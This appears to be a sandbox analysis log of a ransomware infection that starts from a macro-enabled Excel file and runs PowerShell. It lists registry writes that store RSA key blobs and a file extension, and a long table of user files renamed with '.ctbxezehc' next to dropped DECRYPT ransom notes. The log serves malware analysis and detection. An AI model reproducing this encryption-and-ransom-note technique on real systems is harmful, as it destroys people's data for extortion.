000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2972
EXCEL.EXE
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
EXCELFiles
1311375383
2972
EXCEL.EXE
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
ProductFiles
1311375504
2972
EXCEL.EXE
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
VBAFiles
1311375364
2972
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\ReviewCycle
ReviewToken
{2C08D2BE-9BA2-4C66-A82D-B6739C40C8C4}
2972
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\20EE2E
20EE2E
040000009C0B00002F00000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C0053004F004300200074006500730074002E0078006C0073006D00000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C000100000000000000F03E29371EA9D4012EEE20002EEE200000000000AC020000001800000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2972
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\20EF28
20EF28
040000009C0B00002F00000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C0053004F004300200074006500730074002E0078006C0073006D00000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C000100000001000000F8312A361EA9D40128EF200028EF200000000000AC020000660000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2972
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Place MRU
Max Display
25
2972
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\File MRU
Max Display
25
2972
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\Licensing
538F6C892AD540068154C6670774E980
01000000270000007B39303134303030302D303033442D303030302D303030302D3030303030303046463143457D005A0000004F00660066006900630065002000310034002C0020004F0066006600690063006500500072006F00660065007300730069006F006E0061006C002D00520065007400610069006C002000650064006900740069006F006E000000
2972
EXCEL.EXE
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
ProductFiles
1311375505
2972
EXCEL.EXE
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage
ProductFiles
1311375506
2972
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
MTTF
100
2972
EXCEL.EXE
write
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
MTTA
100
3328
WScript.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
UNCAsIntranet
0
3328
WScript.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
AutoDetect
1
3596
powershell.exe
write
HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E
LanguageList
en-US
3596
powershell.exe
write
HKEY_CURRENT_USER\Software\ex_data\data
ext
2E00630074006200780065007A006500680063000000
3596
powershell.exe
write
HKEY_CURRENT_USER\Software\keys_data\data
public
0602000000A4000052534131000800000100010087B1C8902426719CC81A7EE0BCA862CEAF47055AFFD8C6D50714F665265938733D240D9BC3221C54687D15ADC961F79925F7DDD089A50C6F95FD75D6F4F37FD9A6B0BEFEC254F091E7A61BB5B07D23D89DA8BF92B30D9B05CDAE2A9B27895B171D69B60EF07906C9532E6DC0CB11E5EB3F9A74C8541E76BF0E8C8F81B38DB19ADA40D00AADAC1B428ED7814DBE8C1396F35A1FEDB0552DB5EC4D381FFF5FD842EB9F7DCEAC38A3F4E48C29867E72F82646350EA56EB881E579DC22EA02BB22DFBC30B8CD532B955166016C829FCA6B98C7919EE3F7511128647E66D77F736E9F3C7B0B2CAFB01CFCF27C83D24ACE6ACF56F41FD1459FDD47372DD86C8EA7F8AB
3596
powershell.exe
write
HKEY_CURRENT_USER\Software\keys_data\data
private
9404000062429ABE166B3D3E1C0F6E7A14078D758F7B98A04AE2167B84DE2AC816F180848DA68104F7B83259BEDB7A85BAFF5817716C9C234315F17DED4621F456C5E8CB6FBE509BDA2143491E567A6E1400B2E43D11AEAD560D48927908B5B62A9EE4C72149CFE68479891A8A180C184B2C6E1F0DD4D9EA82027379AF18E2FF41894B398CA10EA65B1F3C856A37D8A058AA7EE77A03CB75F86AEF7DE7FD5C56F7C9F010AADFA6B33B133B2EFEB1021BD40D0A0D40DFAC5B4346DCEE23EF17BCEC13B24F53164FD560609F6444617DFE6CE4AE8A48F99F5FA1E7940F470726A82983BA0A36B6AA085D2235DC91FE276DAE5995174C9EFEBD911CC2EB63F2DE7A50A1510596B943396CD40968DF23DEE3A6992251AD6CEB1A6C2603B03F6CF25E6632CDD663EA6093BCAC24C27781D04F39EA2883DFCA7F5FD6CBFA9A78F21779CB18667971B9D20E66A05813D17C603BBAB2FD65553D1A69611BB8D5492C1EA5323880A03E7251D0CBEA954CDA08734835A69D1C3D10643AE858F88660AB33021046E90475DE159D8CF70C47E082F4A1398398BE49C5843C29027A4C55E03F3247DA31B793683C3D1AF61C3C68200DD9F4B45847E306F48E9905109AA1A405394BD3F81FC95F538107FABC7D7F488B2CE4D87EBB47864EDA11560F5CD481A4652D7F6212904C2C7EAA32AA621B30949E4F5C60381FC5987258D340EBF399FBA68153A44C4A7BC7B98ECED49E9BBC120C43F7BE474BFEF6FBF635304D8868DE067F0AE59D17F6CB2D0E047FA39FB8FE4798F104981B3682C1B205823890808C0BB818DDBC7F3FE8123D1124CB7BA107E400B76423B77B1E7BFC0CB4CE403358379A0408513D65428C66F606EC111A7B92FBB30F6FF88E7EA7F824D825D841C017B2283D00324020814344FB63CC957AFAC7C601D1B54A554B021E342B3FDEFFC6797DE701A83FCF0026F07580C004830F1251C8E4771C9A778995F91A74F6A3E5388A6AEB0E7834F705079056EAE28E8D30692F07C916860581FED092D773E14A79FB55912DCFFC67B2ABFC2378857AE1B5AF57C4E45882981FBC5B1087F0477C01F00BCA1F3AA0D14AE66A2013C0113E68448C2D99371B28AADD0474B37DD9F8B2754E7950AF1067CE172A9C4454574160673608901E0918BBBFA942B3E4B3DA896DA8280879FA570637CCD39BAE1F08317FE9E378075E021ECD8486AA9CE634E7E05E643A776AA50081CD81A0E8ACCD9C500988A901184103AFE170472E39E4E1A06BAC3D6EF21049F7CA11EFDB5230AA72071A2556102E5C5CEA8F98C952A85E3574CEFB31D65DEF7D1724F868FDF945B4CBB04F5ED14947682ED2640F227DBF6CA5DA73C624042F72BC85B8459810B4DABA3C8A99923E831EC9D3E38BE6AB0798E33D766B90E68E4C3A3D18B57F15C5F06A6659D01CB1100C2B3CF1C169013A4A2C4A95F6BC1218858D7FC99929EF19F08D91A42BAB01A0E9D9B3AB926B7ED6A6DD3E932163E7EA5193283D05BBC64F8CCA0C4351D327053A00FF07C2168253FE69CE7441B20B3C5F22918176FAEF105FF841FFB4F7CE951819F093D4DD8838491E97ED03A9CBC7DBFBF7A0BC9D283E0C9A9832AF475DB9822EE339CA0647BF194AB2FC26E1EF093F2E7468096173F10C52CF7E6D3B3BBC8CDEC581833F8DBDAB62F46DFF7294B8AF689B025B610A4EC71011FE87AA2BCEA29A0EE4B7105572E79EDA56BB784D9780C2CB53F56BFDDC312DDC2E7A4A4ECC5717437A3CF529E6BBFF976027BDEE68EDA97DB88F41CFD073F855C754CCCEBC24E98B1E53BECE770569ABAB2BE565D32B648069FA84F097D26008E72AB224A0390C6BBE542B23444A0AC5CE329CD7B58B763BF02ED3E44D7E8BC93E59A7DE089CD6FC6F7DAE2B6557DC4BBB8324FC0B0771B03D0EDB1F4FD4F0CFB03A425BBFC79FF952A22964FDFDD79C1B4DD1F818C149B2B02402AA04F25184A80169463813240A4C7A8353806BA282E65CA6B6C4028FE8E50BE8270DAD7DF9E66F7452DD4FF6DF042BD87AC64D47895A01A68CD17F3C631AE3BC2C4E77D9E6EA48053F90F0C5B3BBBE92EAB1E5670F693069D43600D09378300280D474C01750D1CB858A41D6E8681BB1A09F2C4545A4FE5F765F21BF992945A5FA0AD0BE044E10B729D40F93FFB4E17573833314750AFE46C9DE9B1F3F2239A20170CAC4BD8823253D84DA0D319A5CC4390D7A25FB738DF1FC0D3B2E9D9DDCEA1E08AF2379FDB3A4F0375D4DB138D5577DC49CBEB108A24F712D1D7DE317EA546D673580EE2009FD04643E6452B109D814D14BC28BD853E330A582D670B723BDB35CDB736BC882D26CF29D4D3BFC482D15A4C384C59A6B7D2B9D3BD792B3AC025C6F3EEF0FAA06C0D9
3596
powershell.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
UNCAsIntranet
0
3596
powershell.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
AutoDetect
1
3596
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableFileTracing
0
3596
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableConsoleTracing
0
3596
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileTracingMask
4294901760
3596
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
ConsoleTracingMask
4294901760
3596
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
MaxFileSize
1048576
3596
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileDirectory
%windir%\tracing
3596
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableFileTracing
0
3596
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableConsoleTracing
0
3596
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileTracingMask
4294901760
3596
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
ConsoleTracingMask
4294901760
3596
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
MaxFileSize
1048576
3596
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileDirectory
%windir%\tracing
3596
powershell.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
ProxyEnable
0
3596
powershell.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
SavedLegacySettings
4600000069000000010000000000000000000000000000000000000000000000C0E333BBEAB1D301000000000000000000000000020000001700000000000000FE800000000000007D6CB050D9C573F70B000000000000006D00330032005C004D00530049004D004700330032002E0064006C000100000004AA400014AA4000040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C0A8016400000000000000000000000000000000000000000800000000000000805D3F00983740000008000002000000000000600000002060040000B8A94000020000008802000060040000B8A9400004000000F8010000B284000088B64000B84B400043003A000000000000000000000000000000000000000000

Files activity

Executable files
0
Suspicious files
289
Text files
237
Unknown types
7

Dropped files

PID Process Filename Type
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@ueberland-garage.mehrmarken[1].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\qldyz51w.default\storage\permanent\chrome\idb\3345959086bslnoocdkdlaiFs2t%s.files\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.ueberland-garage.mehrmarken[1].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@garage-schwyn.mehrmarken[1].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.garage-schwyn.mehrmarken[1].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@disch.mehrmarken[1].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.disch.mehrmarken[1].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@alimentarium[1].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@hotellido-lugano[1].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.hotelolden[1].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.elite-biel[2].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.elite-biel[1].txt ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.staubbach[1].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@16eme[2].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@16eme[1].txt ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.16eme[1].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.16eme[2].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.stalden[1].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.stalden[2].txt ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.stalden[1].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@kroneregensberg[1].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.kroneregensberg[2].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.kroneregensberg[1].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.hotelgarni-battello[1].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.hoteltruite[1].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.hoteltruite[2].txt ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@bellevuewiesen[1].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.waageglarus[2].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.waageglarus[1].txt ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.bristol-adelboden[2].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.bristol-adelboden[1].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.arbezie[2].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.arbezie[1].txt ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.arbezie-hotel[2].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.arbezie-hotel[1].txt ––
3596 powershell.exe C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015 binary
3596 powershell.exe C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015 compressed
3596 powershell.exe C:\Users\admin\AppData\Local\Temp\TarA056.tmp ––
3596 powershell.exe C:\Users\admin\AppData\Local\Temp\CabA055.tmp ––
3596 powershell.exe C:\Users\admin\AppData\Local\Temp\Tar9F89.tmp ––
3596 powershell.exe C:\Users\admin\AppData\Local\Temp\Cab9F88.tmp ––
3596 powershell.exe C:\Users\admin\AppData\Local\Temp\Tar9F77.tmp ––
3596 powershell.exe C:\Users\admin\AppData\Local\Temp\Cab9F76.tmp ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.morcote-residenza[1].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@belvedere-locarno[1].txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\admin@www.pizcam[1].txt text
3596 powershell.exe C:\Users\admin\AppData\Local\Temp\pidor.bmp image
3596 powershell.exe C:\Users\Public\Videos\Sample Videos\Wildlife.wmv.ctbxezehc ––
3596 powershell.exe C:\Users\Public\Videos\Sample Videos\Wildlife.wmv ––
3596 powershell.exe C:\Users\Public\Videos\Sample Videos\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\Public\Recorded TV\Sample Media\win7_scenic-demoshort_raw.wtv.ctbxezehc ––
3596 powershell.exe C:\Users\Public\Recorded TV\Sample Media\win7_scenic-demoshort_raw.wtv ––
3596 powershell.exe C:\Users\Public\Recorded TV\Sample Media\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\Public\Recorded TV\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg.ctbxezehc binary
3596 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Tulips.jpg.ctbxezehc binary
3596 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Tulips.jpg ––
3596 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg ––
3596 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Lighthouse.jpg.ctbxezehc binary
3596 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Koala.jpg.ctbxezehc binary
3596 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Lighthouse.jpg ––
3596 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Koala.jpg ––
3596 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Jellyfish.jpg.ctbxezehc binary
3596 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Jellyfish.jpg ––
3596 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Hydrangeas.jpg.ctbxezehc binary
3596 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Hydrangeas.jpg ––
3596 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Desert.jpg.ctbxezehc binary
3596 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Desert.jpg ––
3596 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg.ctbxezehc binary
3596 powershell.exe C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg ––
3596 powershell.exe C:\Users\Public\Pictures\Sample Pictures\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\Public\Music\Sample Music\Sleep Away.mp3 ––
3596 powershell.exe C:\Users\Public\Music\Sample Music\Sleep Away.mp3.ctbxezehc ––
3596 powershell.exe C:\Users\Public\Music\Sample Music\Maid with the Flaxen Hair.mp3.ctbxezehc binary
3596 powershell.exe C:\Users\Public\Music\Sample Music\Maid with the Flaxen Hair.mp3 ––
3596 powershell.exe C:\Users\Public\Music\Sample Music\Kalimba.mp3 ––
3596 powershell.exe C:\Users\Public\Music\Sample Music\Kalimba.mp3.ctbxezehc ––
3596 powershell.exe C:\Users\Public\Libraries\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\Public\Libraries\RecordedTV.library-ms.ctbxezehc binary
3596 powershell.exe C:\Users\Public\Music\Sample Music\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\Public\Libraries\RecordedTV.library-ms ––
3596 powershell.exe C:\Users\Public\Videos\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\Public\Pictures\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\Public\Music\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\Public\Favorites\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\Public\Downloads\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\Public\Documents\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Templates\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\Public\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\Searches\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\Searches\Microsoft OneNote.searchconnector-ms.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\SendTo\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\Searches\Microsoft Outlook.searchconnector-ms.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Saved Games\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\Pictures\xmlsecure.jpg.ctbxezehc binary
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\Pictures\xmlsecure.jpg ––
3596 powershell.exe C:\Users\admin\Searches\Microsoft Outlook.searchconnector-ms ––
3596 powershell.exe C:\Users\admin\Searches\Microsoft OneNote.searchconnector-ms ––
3596 powershell.exe C:\Users\admin\Pictures\reportsliterature.png.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Pictures\wartitle.png.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Pictures\particularlymedical.png.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Pictures\wartitle.png ––
3596 powershell.exe C:\Users\admin\Pictures\reportsliterature.png ––
3596 powershell.exe C:\Users\admin\Pictures\particularlymedical.png ––
3596 powershell.exe C:\Users\admin\Pictures\modifiedsociety.png.ctbxezehc binary
3596 powershell.exe C:\Users\admin\ntuser.ini.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Pictures\joblists.jpg.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Pictures\modifiedsociety.png ––
3596 powershell.exe C:\Users\admin\Pictures\joblists.jpg ––
3596 powershell.exe C:\Users\admin\AppData\Roaming\Microsoft\Windows\Network Shortcuts\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\ntuser.ini ––
3596 powershell.exe C:\Users\admin\Favorites\Windows Live\Windows Live Spaces.url.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Links\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\Favorites\Windows Live\Windows Live Spaces.url ––
3596 powershell.exe C:\Users\admin\Favorites\Windows Live\Windows Live Mail.url.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Favorites\Windows Live\Windows Live Gallery.url.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Favorites\Windows Live\Windows Live Mail.url ––
3596 powershell.exe C:\Users\admin\Favorites\Windows Live\Windows Live Gallery.url ––
3596 powershell.exe C:\Users\admin\Favorites\Windows Live\Get Windows Live.url.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Favorites\Windows Live\Get Windows Live.url ––
3596 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN.url.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSNBC News.url.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Favorites\Windows Live\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSNBC News.url ––
3596 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN Money.url.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN Sports.url.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN Sports.url ––
3596 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN.url ––
3596 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN Entertainment.url.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN Entertainment.url ––
3596 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN Money.url ––
3596 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\Microsoft Store.url.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN Autos.url.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Favorites\MSN Websites\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\Favorites\MSN Websites\MSN Autos.url ––
3596 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\Microsoft Store.url ––
3596 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\IE site on Microsoft.com.url.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\Microsoft At Home.url.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\Microsoft At Work.url.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\Microsoft At Home.url ––
3596 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\IE site on Microsoft.com.url ––
3596 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\Microsoft At Work.url ––
3596 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\IE Add-on site.url.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\IE Add-on site.url ––
3596 powershell.exe C:\Users\admin\Favorites\Microsoft Websites\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\Favorites\Links for United States\USA.gov.url.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Favorites\Links for United States\USA.gov.url ––
3596 powershell.exe C:\Users\admin\Favorites\Links for United States\GobiernoUSA.gov.url.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Favorites\Links for United States\CTBXEZEHC-DECRYPT.txt text
3596 powershell.exe C:\Users\admin\Favorites\Links\Web Slice Gallery.url.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Favorites\Links\Web Slice Gallery.url ––
3596 powershell.exe C:\Users\admin\Favorites\Links for United States\GobiernoUSA.gov.url ––
3596 powershell.exe C:\Users\admin\Favorites\Links\Suggested Sites.url.ctbxezehc binary
3596 powershell.exe C:\Users\admin\Favorites\Links\CTBXEZEHC-DECRYPT.txt text
